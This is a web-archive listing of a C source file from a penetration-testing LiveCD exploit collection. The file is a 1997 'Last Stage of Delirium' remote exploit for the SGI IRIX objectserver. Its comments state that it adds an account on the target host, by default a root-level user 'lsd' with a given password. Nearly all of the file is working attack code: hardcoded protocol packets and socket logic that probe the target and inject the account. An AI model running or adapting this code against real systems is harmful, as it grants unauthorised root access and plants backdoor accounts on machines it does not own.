home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / irix / remote / irix-objserv.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  9KB  |  331 lines
  1. /*   Copyright (c) July 1997       Last Stage of Delirium   */
  2. /*      THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF      */
  3. /*                  Last Stage of Delirium                  */
  4. /*                                                          */
  5. /*   The contents of this file  may be disclosed to third   */
  6. /*   parties, copied and duplicated in any form, in whole   */
  7. /*   or in part, without the prior written consent of LSD.  */
  8.  
  9. /*   SGI objectserver "account" exploit                                
  10. */
  11. /*   Remotely adds account to the IRIX system.                         
  12. */
  13. /*   Tested on IRIX 5.2, 5.3, 6.0.1, 6.1 and even 6.2,                 
  14. */
  15. /*   which was supposed to be free from this bug (SGI 19960101-01-PX). 
  16. */
  17. /*   The vulnerability "was corrected" on 6.2 systems but              
  18. */
  19. /*   SGI guys fucked up the job and it still can be exploited.         
  20. */
  21. /*   The same considers patched 5.x,6.0.1 and 6.1 systems              
  22. */
  23. /*   where SGI released patches DONT work.                             
  24. */
  25. /*   The only difference is that root account creation is blocked.     
  26. */
  27. /*                                                                     
  28. */
  29. /*   usage: ob_account ipaddr [-u username] [-i userid] [-p]           
  30. */
  31. /*       -i  specify userid (other than 0)                             
  32. */
  33. /*       -u  change the default added username                         
  34. */
  35. /*       -p  probe if there's the objectserver running                 
  36. */
  37. /*                                                                     
  38. */
  39. /*   default account added       : lsd                                 
  40. */
  41. /*   default password            : m4c10r4!                            
  42. */
  43. /*   default user home directory : /tmp/.new                           
  44. */
  45. /*   default userid              : 0                                   
  46. */
  47.  
  48.  
  49. #include <sys/types.h>
  50. #include <sys/socket.h>
  51. #include <netinet/in.h>
  52. #include <arpa/inet.h>
  53. #include <netdb.h>
  54. #include <sys/uio.h>
  55. #include <errno.h>
  56. #include <stdio.h>
  57. #define E if(errno) perror("");
  58.  
  59. struct iovec iov[2];
  60. struct msghdr msg;
  61. char buf1[1024],buf2[1024];
  62. int sck;
  63. unsigned long adr;
  64.  
  65. void show_msg(){
  66.     char *p,*p1;
  67.     int i,j,c,d;
  68.  
  69.     c=0;
  70.     printf("%04x   ",iov[0].iov_len);
  71.     p=(char*)iov[0].iov_base;
  72.     for(i=0;i<iov[0].iov_len;i++){
  73.         c++;
  74.         if(c==17){
  75.              printf("    ");
  76.              p1=p;p1=p1-16;
  77.              for(j=0;j<16;j++){
  78.                  if(isprint(*p1)) printf("%c",*p1);
  79.                  else printf(".");
  80.                  p1++;
  81.              }
  82.              c=1;
  83.              printf("\n       ");
  84.         }
  85.         printf("%02x ",(unsigned char)*p++);
  86.     }
  87.     printf("    ");
  88.     p1=p;p1=p1-c;
  89.     if(c>1){
  90.         for(i=0;i<(16-c);i++) printf("   ");
  91.         for(i=0;i<c;i++){
  92.             if(isprint(*p1)) printf("%c",*p1);
  93.             else printf(".");
  94.             p1++;
  95.         }
  96.     }
  97.     printf("\n");
  98.     if(msg.msg_iovlen!=2) return;
  99.  
  100.     c=0;
  101.     p=(char*)iov[0].iov_base;
  102.     d=p[0x0a]*0x100+p[0x0b];
  103.     p=(char*)iov[1].iov_base;
  104.     printf("%04x   ",d);
  105.     for(i=0;i<d;i++){
  106.         c++;
  107.         if(c==17){
  108.              printf("    ");
  109.              p1=p;p1=p1-16;
  110.              for(j=0;j<16;j++){
  111.                  if(isprint(*p1)) printf("%c",*p1);
  112.                  else printf(".");
  113.                  p1++;
  114.              }
  115.              c=1;
  116.              printf("\n       ");
  117.         }
  118.         printf("%02x ",(unsigned char)*p++);
  119.     }
  120.     printf("    ");
  121.     p1=p;p1=p1-c;
  122.     if(c>1){
  123.         for(i=0;i<(16-c);i++) printf("   ");
  124.         for(i=0;i<c;i++){
  125.             if(isprint(*p1)) printf("%c",*p1);
  126.             else printf(".");
  127.             p1++;
  128.         }
  129.     }
  130.     printf("\n");
  131.     fflush(stdout);
  132. }
  133.  
  134. char numer_one[0x10]={
  135. 0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,
  136. 0x00,0x00,0x00,0x24,0x00,0x00,0x00,0x00
  137. };
  138.  
  139. char numer_two[0x24]={
  140. 0x21,0x03,0x00,0x43,0x00,0x0a,0x00,0x0a,
  141. 0x01,0x01,0x3b,0x01,0x6e,0x00,0x00,0x80,
  142. 0x43,0x01,0x01,0x18,0x0b,0x01,0x01,0x3b,
  143. 0x01,0x6e,0x01,0x02,0x01,0x03,0x00,0x01,
  144. 0x01,0x07,0x01,0x01
  145. };
  146.  
  147. char dodaj_one[0x10]={
  148. 0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,
  149. 0x00,0x00,0x01,0x2a,0x00,0x00,0x00,0x00
  150. };
  151.  
  152. char dodaj_two[1024]={
  153. 0x1c,0x03,0x00,0x43,0x02,0x01,0x1d,0x0a,
  154. 0x01,0x01,0x3b,0x01,0x78
  155. };
  156.  
  157. char dodaj_three[27]={
  158. 0x01,0x02,0x0a,0x01,0x01,0x3b,
  159. 0x01,0x78,0x00,0x00,0x80,0x43,0x01,0x10,
  160. 0x17,0x0b,0x01,0x01,0x3b,0x01,0x6e,0x01,
  161. 0x01,0x01,0x09,0x43,0x01
  162. };
  163.  
  164. char dodaj_four[200]={
  165. 0x17,0x0b,0x01,0x01,0x3b,0x01,0x02,
  166. 0x01,0x01,0x01,0x09,0x43,0x01,0x03,0x4c,
  167. 0x73,0x44,0x17,0x0b,0x01,0x01,0x3b,0x01,
  168. 0x6e,0x01,0x06,0x01,0x09,0x43,0x00,0x17,
  169. 0x0b,0x01,0x01,0x3b,0x01,0x6e,0x01,0x07,
  170. 0x01,0x09,0x43,0x00,0x17,0x0b,0x01,0x01,
  171. 0x3b,0x01,0x02,0x01,0x03,0x01,0x09,0x43,
  172. 0x00,0x17,0x0b,0x01,0x01,0x3b,0x01,0x6e,
  173. 0x01,0x09,0x01,0x09,0x43,0x00,0x17,0x0b,
  174. 0x01,0x01,0x3b,0x01,0x6e,0x01,0x0d,0x01,
  175. 0x09,0x43,0x00,0x17,0x0b,0x01,0x01,0x3b,
  176. 0x01,0x6e,0x01,0x10,0x01,0x09,0x43,0x00,
  177. 0x17,0x0b,0x01,0x01,0x3b,0x01,0x6e,0x01,
  178. 0x0a,0x01,0x09,0x43,0x00,0x17,0x0b,0x01,
  179. 0x01,0x3b,0x01,0x6e,0x01,0x0e,0x01,0x03,
  180. 0x01,0x09,0x17,0x0b,0x01,0x01,0x3b,0x01,
  181. 0x6e,0x01,0x04,0x01,0x09,0x43,0x01,0x0d,
  182. 0x61,0x6b,0x46,0x4a,0x64,0x78,0x65,0x6e,
  183. 0x4b,0x6e,0x79,0x53,0x2e,0x17,0x0b,0x01,
  184. 0x01,0x3b,0x01,0x6e,0x01,0x11,0x01,0x09,
  185. 0x43,0x01,0x09,0x2f,0x74,0x6d,0x70,0x2f,
  186. 0x2e,0x6e,0x65,0x77,0x17,0x0b,0x01,0x01,
  187. 0x3b,0x01,0x6e,0x01,0x12,0x01,0x09,0x43,
  188. 0x01,0x04,0x72,0x6f,0x6f,0x74,0x17,0x0b,  
  189. 0x01,0x01,0x3b,0x01,0x6e,0x01,0x02,0x01,
  190. 0x03
  191. };
  192.  
  193. char dodaj_five[39]={
  194. 0x17,0x0b,0x01,0x01,0x3b,0x01,
  195. 0x6e,0x01,0x13,0x01,0x09,0x43,0x01,0x08,
  196. 0x2f,0x62,0x69,0x6e,0x2f,0x63,0x73,0x68,
  197. 0x17,0x0b,0x01,0x01,0x3b,0x01,0x6e,0x01,
  198. 0x0f,0x01,0x09,0x43,0x01,0x03,'L','S','D'
  199. };
  200.  
  201. char fake_adrs[0x10]={
  202. 0x00,0x02,0x14,0x0f,0xff,0xff,0xff,0xff,
  203. 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
  204. };
  205.  
  206. char *get_sysinfo(){
  207.     int i=0,j,len;
  208.  
  209.     iov[0].iov_base=numer_one;
  210.     iov[0].iov_len=0x10;
  211.     iov[1].iov_base=numer_two;
  212.     iov[1].iov_len=0x24;
  213.     msg.msg_name=(caddr_t)fake_adrs;
  214.     msg.msg_namelen=0x10;
  215.     msg.msg_iov=iov;
  216.     msg.msg_iovlen=2;
  217.     msg.msg_accrights=(caddr_t)0;
  218.     msg.msg_accrightslen=0;
  219.     printf("SM:  --[0x%04x bytes]--\n",sendmsg(sck,&msg,0)); show_msg();
  220.     printf("\n");
  221.  
  222.     iov[0].iov_base=buf1;
  223.     iov[1].iov_base=buf2;
  224.     iov[1].iov_len=0x200;
  225.     msg.msg_iovlen=2;
  226.     printf("RM:  --[0x%04x bytes]--\n",len=recvmsg(sck,&msg,0));
  227. show_msg();
  228.     printf("\n");
  229.     while(i<len-0x16) 
  230.         if(!memcmp("\x0a\x01\x01\x3b\x01\x78",&buf2[i],6)){
  231.             printf("remote system ID: ");
  232.             for(j=0;j<buf2[i+6];j++) printf("%02x ",buf2[i+7+j]);
  233.             printf("\n"); 
  234.             return(&buf2[i+6]);
  235.         }else i++;
  236.     return(0);
  237. }
  238.  
  239. void new_account(int len){
  240.     iov[0].iov_base=dodaj_one;
  241.     iov[0].iov_len=0x10;
  242.     iov[1].iov_base=dodaj_two;
  243.     iov[1].iov_len=len;
  244.     msg.msg_name=(caddr_t)fake_adrs;
  245.     msg.msg_namelen=0x10;
  246.     msg.msg_iov=iov;
  247.     msg.msg_iovlen=2;
  248.     msg.msg_accrights=(caddr_t)0;
  249.     msg.msg_accrightslen=0;
  250.     printf("SM:  --[0x%04x bytes]--\n",sendmsg(sck,&msg,0)); show_msg();
  251.     printf("\n");
  252.  
  253.     iov[0].iov_base=buf1;
  254.     iov[1].iov_base=buf2;
  255.     iov[1].iov_len=0x200;
  256.     msg.msg_iovlen=2;
  257.     printf("RM:  --[0x%04x bytes]--\n",recvmsg(sck,&msg,0)); show_msg();
  258.     printf("\n");
  259. }
  260.  
  261. void info(char *text){
  262.     printf("SGI objectserver \"account\" exploit by LSD\n");
  263.     printf("usage: %s ipaddr [-u username] [-i userid] [-p]\n",text);
  264. }
  265.  
  266. main(int argc,char **argv){
  267.     int c,user,version,probe;
  268.     unsigned int offset,gr_offset,userid;
  269.     char *sys_info;
  270.     char username[20];
  271.     extern char *optarg;
  272.     extern int optind; 
  273.  
  274.     if(argc<2) {info(argv[0]);exit(0);}
  275.     optind=2;
  276.     offset=40;
  277.     user=version=probe=0;
  278.     while((c=getopt(argc,argv,"u:i:p"))!=-1)
  279.         switch(c){
  280.         case 'u': strcpy(username,optarg);
  281.                   user=1;
  282.                   break;
  283.         case 'i': version=62;
  284.                   userid=atoi(optarg);
  285.                   break;
  286.         case 'p': probe=1;
  287.                   break;
  288.         case '?':
  289.         default : info(argv[0]); 
  290.                   exit(1);
  291.         }
  292.  
  293.     sck=socket(AF_INET,SOCK_DGRAM,0);
  294.     adr=inet_addr(argv[1]);
  295.     memcpy(&fake_adrs[4],&adr,4);
  296.  
  297.     if(!(sys_info=get_sysinfo())){
  298.         printf("error: can't get system ID for %s.\n",argv[1]);
  299.         exit(1);
  300.     }
  301.     if(!probe){
  302.         memcpy(&dodaj_two[0x0d],sys_info,sys_info[0]+1);
  303.         memcpy(&dodaj_two[0x0d+sys_info[0]+1],&dodaj_three[0],27);
  304.         offset+=sys_info[0]+1; 
  305.  
  306.         if(!user) strcpy(username,"lsd");
  307.         dodaj_two[offset++]=strlen(username);
  308.         strcpy(&dodaj_two[offset],username);offset+=strlen(username);
  309.         memcpy(&dodaj_two[offset],&dodaj_four[0],200);
  310.         offset+=200;
  311.         gr_offset=offset-15;
  312.         if(version){ 
  313.             dodaj_two[gr_offset++]='u'; 
  314.             dodaj_two[gr_offset++]='s'; 
  315.             dodaj_two[gr_offset++]='e'; 
  316.             dodaj_two[gr_offset++]='r'; 
  317.             dodaj_two[offset++]=0x02;
  318.             dodaj_two[offset++]=userid>>8;
  319.             dodaj_two[offset++]=userid&0xff; 
  320.         }
  321.         else dodaj_two[offset++]=0x00; 
  322.     
  323.         memcpy(&dodaj_two[offset],&dodaj_five[0],39);
  324.         offset+=39;
  325.         dodaj_one[10]=offset>>8;
  326.         dodaj_one[11]=offset&0xff;
  327.         new_account(offset);
  328.     }
  329. }
  330. /* end g23 exploit post */
  331.